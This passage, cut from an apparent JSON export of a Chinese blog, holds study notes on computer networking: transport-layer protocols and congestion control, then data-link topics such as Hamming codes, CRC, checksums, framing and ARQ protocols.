align=\"left\"\u003e0000\u003c/td\u003e\u003ctd\u003e0-127\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e1000\u003c/td\u003e\u003ctd\u003e128-191\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e1100\u003c/td\u003e\u003ctd\u003e192-223\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e1110\u003c/td\u003e\u003ctd\u003e224-239\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e1111\u003c/td\u003e\u003ctd\u003e240-255\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Chap-23-UDP、TCP和SCTP\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#Chap-23-UDP%E3%80%81TCP%E5%92%8CSCTP\" class=\"headerlink\" title=\"Chap.23.UDP、TCP和SCTP\"\u003e\u003c/a\u003eChap.23.UDP、TCP和SCTP\u003c/h2\u003e\u003cp\u003e这三个是传输层的协议。UDP较为简单,其次是复杂的TCP协议。最后的SCTP仅了解。\u003c/p\u003e\u003ch3 id=\"进程到进程的传递\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E8%BF%9B%E7%A8%8B%E5%88%B0%E8%BF%9B%E7%A8%8B%E7%9A%84%E4%BC%A0%E9%80%92\" class=\"headerlink\" title=\"进程到进程的传递\"\u003e\u003c/a\u003e进程到进程的传递\u003c/h3\u003e\u003cp\u003e传输层负责的是进程到进程的传递。\u003c/p\u003e\u003ch4 id=\"客户-x2F-服务器模式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E5%AE%A2%E6%88%B7-x2F-%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%A8%A1%E5%BC%8F\" class=\"headerlink\" title=\"客户/服务器模式\"\u003e\u003c/a\u003e客户/服务器模式\u003c/h4\u003e\u003cp\u003e在web2最常用的就是C/S模式。为了传输时的标识,需要确定本地/远程的主机和进程。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e寻址:传输层需要端口号来标识进程ID,服务器和客户端都是如此。不过前者规定比较严格,后者可以随机选择一个。这一般是由IANA统一管理的。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e套接字地址:将IP和端口号结合起来就得到了套接字地址(socket address)。传输层协议需要客户套接字地址和服务器套接字地址。这四条信息是IP头部和传输层协议头部的组成部分。IP头包含IP地址,UDP/TCP头包含端口号。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"复用-x2F-分离\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E5%A4%8D%E7%94%A8-x2F-%E5%88%86%E7%A6%BB\" class=\"headerlink\" title=\"复用/分离\"\u003e\u003c/a\u003e复用/分离\u003c/h4\u003e\u003cp\u003e寻址机制可以通过传输层进行复用和分离。也就是,同时刻选择一个待发送的分组进行发送(复用),同时刻选择一个待接受的进程分发分组。\u003c/p\u003e\u003ch4 id=\"无连接-x2F-面向连接服务\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E6%97%A0%E8%BF%9E%E6%8E%A5-x2F-%E9%9D%A2%E5%90%91%E8%BF%9E%E6%8E%A5%E6%9C%8D%E5%8A%A1\" class=\"headerlink\" title=\"无连接/面向连接服务\"\u003e\u003c/a\u003e无连接/面向连接服务\u003c/h4\u003e\u003cp\u003e前者对应UDP,分组从一方发送给另一方,不需要建立/释放连接,分组无编号。它们没有确认过程,可能被延迟、丢失、无序到达\u003c/p\u003e\u003cul\u003e\u003cli\u003e例题:最大窗口64kB,报文的段平均往返时间是20ms,则最大吞吐量是?\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e$64\\times1024\\times8(bit)\\div(20\\times10^3)s=26.21Mbit/s$\u003c/p\u003e\u003cul\u003e\u003cli\u003e例题:TCP的MSS是128B,报文的序号长度是8位,报文段在网络的生存时间是30s,计算TCP链接能达到的最大速率。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e30s内不能有重复序号,因此30s最多有$2^8=256$个段。因此结果是$1024bits\\times256segments\\div30s=8738bit/s$\u003c/p\u003e\u003ch2 id=\"Chap-24-拥塞控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#Chap-24-%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"Chap.24.拥塞控制\"\u003e\u003c/a\u003eChap.24.拥塞控制\u003c/h2\u003e\u003cp\u003e它和服务质量是正相关的。\u003c/p\u003e\u003ch3 id=\"拥塞控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"拥塞控制\"\u003e\u003c/a\u003e拥塞控制\u003c/h3\u003e\u003cp\u003e思想是,利用窗口控制拥塞。窗口有两个,接受/发送窗口\u003c/p\u003e\u003cp\u003e策略有如下几个:\u003c/p\u003e\u003col\u003e\u003cli\u003e慢启动:先以一个MSS(Maximum Segment Size)慢速启动,如果重传之前收到一个确认,则指数(1,2,4,8,…)增加发送速度,直到收到的确认消息数和发送速率不匹配为止.\u003c/li\u003e\u003cli\u003e加性增加:和上面类似,不过增长速率是线性增长(1,2,3,…)。同时,如果计时器超时(严重拥塞),则作出强烈反应:设置阈值为当前拥塞状态的一半、设置cwnd为1个段的大小、进入慢启动阶段。如果接受到三个连续的ACK,则说明轻度拥塞,一个段可能丢失,其他段可能到达。这时,称为快速重传/快速恢复:设置阈值为拥塞窗口的一半、设置阈值为cwnd一半、进入拥塞避免状态。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e一般,拥塞控制综合这两种启动方式。开始时慢启动,之后达到一个阈值后开始加性增加,并按照丢包严重程度来重新确定阈值。阈值的确定是\u003cstrong\u003e取下一次计算得的发送速率和接受到对面ACK时得到的对方缓存空间的最小值\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"4-SCTP-流控传输协议(Stream-Control-Transmission-Protocol)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#4-SCTP-%E6%B5%81%E6%8E%A7%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE%EF%BC%88Stream-Control-Transmission-Protocol%EF%BC%89\" class=\"headerlink\" title=\"4.SCTP-流控传输协议(Stream Control Transmission Protocol)\"\u003e\u003c/a\u003e4.SCTP-流控传输协议(Stream Control Transmission Protocol)\u003c/h3\u003e\u003cp\u003e它允许每个端口有多个IP地址。协议构成方面,了解即可。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/"},{"title":"计网笔记:第三部分-数据链路层","time":"2023-05-24T07:24:59Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-10-检错与纠错\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Chap-10-%E6%A3%80%E9%94%99%E4%B8%8E%E7%BA%A0%E9%94%99\" class=\"headerlink\" title=\"Chap.10.检错与纠错\"\u003e\u003c/a\u003eChap.10.检错与纠错\u003c/h2\u003e\u003cul\u003e\u003cli\u003e差错类型:单个位差错(1bit)、突发性差错(\u0026gt;1bit)\u003c/li\u003e\u003cli\u003e纠错方式:向前纠错(根据冗余推测报文)/重传(要求发送方重新发送)\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"编码\"\u003e\u003c/a\u003e编码\u003c/h3\u003e\u003cul\u003e\u003cli\u003e分类 块编码、卷积编码\u003c/li\u003e\u003cli\u003e汉明距离 两个二进制数不同数位的数量,比如001和011的汉明距离是1。\u003c/li\u003e\u003cli\u003e最小汉明距离$d_{min}$ 一组码字中所有组合的汉明距离的最小值\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"块编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%9D%97%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"块编码\"\u003e\u003c/a\u003e块编码\u003c/h4\u003e\u003cp\u003e总长度:\u003ccode\u003en=k+r\u003c/code\u003e,k是数据字的长度,r是冗余位长度。即\u003cstrong\u003e有$2^k$个数据字组合,$2^n$个码字组合,$2^n-2^k$个未使用码字\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e模运算 模2运算和异或一致。\u003c/li\u003e\u003cli\u003e差错检测条件 接收方有有效码字表,并且原来的码字为无效码字\u003c/li\u003e\u003cli\u003e纠错 将数据和编码表对照,找出汉明距离最小的码字作为结果\u003c/li\u003e\u003cli\u003e编码方案表示 需要三个参数:$n,k,d_{min}$。编码方案C可记作$C(n,k),d_{min}=d_0$\u003c/li\u003e\u003cli\u003e检错最小距离 $s\\leq d_{min} -1$\u003c/li\u003e\u003cli\u003e纠错最小距离 $d_{min}=2t+1$,基于码字离有效码字的汉明距离\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"线性块编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E7%BA%BF%E6%80%A7%E5%9D%97%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"线性块编码\"\u003e\u003c/a\u003e线性块编码\u003c/h4\u003e\u003cp\u003e正式定义需要抽象代数\u003c/p\u003e\u003cul\u003e\u003cli\u003e任意两个有效码字生成另一个有效码字\u003c/li\u003e\u003cli\u003e$d_{min}$:具有最小1的个数的非0有效码字中1的个数\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"简单奇偶校验编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E7%AE%80%E5%8D%95%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"简单奇偶校验编码\"\u003e\u003c/a\u003e简单奇偶校验编码\u003c/h4\u003e\u003cp\u003e简单奇偶校验编码是一种最简单、最常用的校验码,用来检测数据传输过程中是否发生错误。它的基本方法是:在n位有效信息位上增加一个二进制位作为校验位P,构成n+1位的奇偶校验码。它有两种校验方法:奇校验和偶校验。\u003c/p\u003e\u003cul\u003e\u003cli\u003e奇校验:使n+1位的奇偶校验码中1的个数为奇数。\u003c/li\u003e\u003cli\u003e偶校验:使n+1位的奇偶校验码中1的个数为偶数。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它的检错能力是:可以检出1位错或奇数位错,无纠错能力。它的一个常见的应用场合是ASCII码,ASCII码占用一个字节,低7位是有效位,最高位用作奇偶校验。\u003c/p\u003e\u003ch4 id=\"汉明编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%B1%89%E6%98%8E%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"汉明编码\"\u003e\u003c/a\u003e汉明编码\u003c/h4\u003e\u003cp\u003e汉明编码是一种线性纠错码,它具有一位纠错能力。它的基本方法是:在\u003ccode\u003en\u003c/code\u003e位有效信息位上增加\u003ccode\u003ek\u003c/code\u003e位校验位,构成\u003ccode\u003en+k\u003c/code\u003e位的汉明编码。\u003c/p\u003e\u003cul\u003e\u003cli\u003e校验位的位置:第1、2、4、8、…、\u003ccode\u003e2^(k-1)\u003c/code\u003e位,其余位置是数据位。\u003c/li\u003e\u003cli\u003e校验位的取值:使每个校验位所覆盖的数据位和校验位本身中1的个数为奇数或偶数。\u003c/li\u003e\u003cli\u003e纠错过程:对传送后的汉明编码形成新的校验位,根据新校验位的状态,便可直接指出错误的位置。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"循环编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%BE%AA%E7%8E%AF%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"循环编码\"\u003e\u003c/a\u003e循环编码\u003c/h4\u003e\u003cp\u003e循环编码是一种线性分组码,满足循环特性,即任意码字的循环移位仍然是该编码中的一个码字。循环编码可以用多项式表示法,即将每个码字看作一个多项式的系数向量,例如\u003ccode\u003e(1100101)\u003c/code\u003e对应于\u003ccode\u003ex^6+x^5+x^2+1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e循环编码可以用模运算来进行编码和译码,即将多项式除以一个n次多项式N(x),得到商式和余式,其中余式就是循环码的一个码字。\u003c/p\u003e\u003cul\u003e\u003cli\u003e循环编码有一个生成多项式\u003ccode\u003eg(x)\u003c/code\u003e,它是\u003ccode\u003eN(x)\u003c/code\u003e的一个首1因子,且常数项不为0,它决定了循环码的结构和性质。\u003c/li\u003e\u003cli\u003e循环编码有一个校验多项式\u003ccode\u003eh(x)\u003c/code\u003e,它是\u003ccode\u003eN(x)\u003c/code\u003e除以\u003ccode\u003eg(x)\u003c/code\u003e得到的商式,它可以用来检测和纠正传输过程中的错误。\u003c/li\u003e\u003c/ul\u003e\u003ch5 id=\"循环冗余校验-CRC\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%BE%AA%E7%8E%AF%E5%86%97%E4%BD%99%E6%A0%A1%E9%AA%8C-CRC\" class=\"headerlink\" title=\"循环冗余校验-CRC\"\u003e\u003c/a\u003e循环冗余校验-CRC\u003c/h5\u003e\u003cp\u003e循环冗余校验-CRC是一种数据通信领域常用的一种数据传输检错技术,它通过在发送端对数据按照某种多项式算法计算出校验码,并将得到的校验码附在数据帧的后面,一起发送到接收端。接收端对收到的数据和校验码按照相同的多项式算法进行验证,以此判断接收到的数据是否正确、完整。如果没有余数,说明数据没有出错,否则说明有错误。\u003c/p\u003e\u003cp\u003eCRC的计算方法有多种,不同的方法有不同的生成多项式、初始值、结果异或值、输入输出反转等参数,这些参数决定了CRC的检错能力和效率。\u003c/p\u003e\u003cp\u003eCRC的优点是计算简单、速度快、占用资源少,能够检测出大部分随机错误和突发错误,缺点是无法检测出所有的错误,比如两个位同时发生错误并互换位置等。\u003c/p\u003e\u003cp\u003eCRC计算方法就是模2除法。首先根据生成多项式位数-1来在要处理的数据后边补同等数量的0,然后再用它除以生成多项式,除时不借位,直接异或运算得到商和余数。此时,要发送的数据就是商和余数了。接收方得到数据后,进行同样的操作(补0,模2除法),如果没有余数,则说明数据完好无损,否则数据有差错。\u003c/p\u003e\u003cp\u003e生成多项式,是一个N次多项式。比如,$X^4+X+1$。它对应的二进制表示的生成多项式就是$10011$,因为四次项、一次项和零次项系数非零。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609193236.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"校验和-Checksum\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%A0%A1%E9%AA%8C%E5%92%8C-Checksum\" class=\"headerlink\" title=\"校验和-Checksum\"\u003e\u003c/a\u003e校验和-Checksum\u003c/h4\u003e\u003cp\u003e它将被校验的数据按位或按字节进行累加,并舍弃累加溢出的位,得到一个或多个字节的结果。它可以用来检测数据在传输或存储过程中是否发生错误,通常将校验和附加在数据后面,接收方可以通过重新计算校验和并与原始校验和比较来判断数据是否完整。\u003c/p\u003e\u003cul\u003e\u003cli\u003e校验和的计算方法有多种,例如按位异或、按字节累加、按多项式除法等,不同的方法有不同的效率和准确性。\u003c/li\u003e\u003cli\u003e校验和的优点是计算简单、速度快、占用资源少,缺点是无法检测出多个字节同时发生错误的情况,比如两个字节的值互换或相反。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-11-数据链路控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Chap-11-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"Chap.11.数据链路控制\"\u003e\u003c/a\u003eChap.11.数据链路控制\u003c/h2\u003e\u003cp\u003e数据链路层功能:\u003c/p\u003e\u003col\u003e\u003cli\u003e数据链控制:成帧,流量、差错控制,节点间帧传输可靠协议\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"成帧\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%88%90%E5%B8%A7\" class=\"headerlink\" title=\"成帧\"\u003e\u003c/a\u003e成帧\u003c/h3\u003e\u003cp\u003e将位组合成帧,并添加首尾使其和其他帧区分开。成帧有两种协议:面向字符协议和面向位协议。它们的区别主要是转义符添加的方案。前者添加一个\u003cstrong\u003eESC字节\u003c/strong\u003e,后者遇到\u003ccode\u003e011111\u003c/code\u003e就添加一个0来转义。\u003c/p\u003e\u003cp\u003e帧结构是:\u003cstrong\u003e标记+头部+转义后数据+尾部+标记\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003eFixed-Size Framing   固定长度成帧 例如第18章的\u003cstrong\u003eATM信元\u003c/strong\u003e\u003c/li\u003e\u003cli\u003eVariable-Size Framing  可变长度成帧 面向字符和面向比特位\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"流量控制和差错控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6%E5%92%8C%E5%B7%AE%E9%94%99%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"流量控制和差错控制\"\u003e\u003c/a\u003e流量控制和差错控制\u003c/h3\u003e\u003cp\u003e也叫数据链路控制功能。\u003c/p\u003e\u003ch4 id=\"流量控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"流量控制\"\u003e\u003c/a\u003e流量控制\u003c/h4\u003e\u003cp\u003e接收确认前协调发送的数据数量。它高速发送方受到接收确认信息前能传输多少数据。任何设备都有处理进入数据的速度、容量等限制。在达到限制之前,必须提示发送设备,减少发送量/暂停发送。进入的数据\u003cstrong\u003e必须经过经验和处理才能使用\u003c/strong\u003e。\u003c/p\u003e\u003ch4 id=\"差错控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%B7%AE%E9%94%99%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"差错控制\"\u003e\u003c/a\u003e差错控制\u003c/h4\u003e\u003cp\u003e差错检测和纠正。任何时刻,检测到帧缺失/帧破坏,协调发送方重新发送帧。这称为\u003cstrong\u003e自动重发请求(ARQ, automatic repeat request)\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"协议\"\u003e\u003c/a\u003e协议\u003c/h3\u003e\u003cp\u003e分为两类:\u003c/p\u003e\u003cul\u003e\u003cli\u003e无噪声通道的协议\u003cul\u003e\u003cli\u003e最简单协议\u003c/li\u003e\u003cli\u003e停止-等待协议\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e有噪声通道的协议\u003cul\u003e\u003cli\u003e停止等待ARQ协议\u003c/li\u003e\u003cli\u003e返回到N的ARQ协议\u003c/li\u003e\u003cli\u003e选择性重复ARQ协议\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"无噪声通道\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%97%A0%E5%99%AA%E5%A3%B0%E9%80%9A%E9%81%93\" class=\"headerlink\" title=\"无噪声通道\"\u003e\u003c/a\u003e无噪声通道\u003c/h3\u003e\u003cp\u003e是一种假想的不会丢失帧、复制帧、损坏帧的理想通道。\u003c/p\u003e\u003ch4 id=\"最简单的协议\"\u003e\u003ca 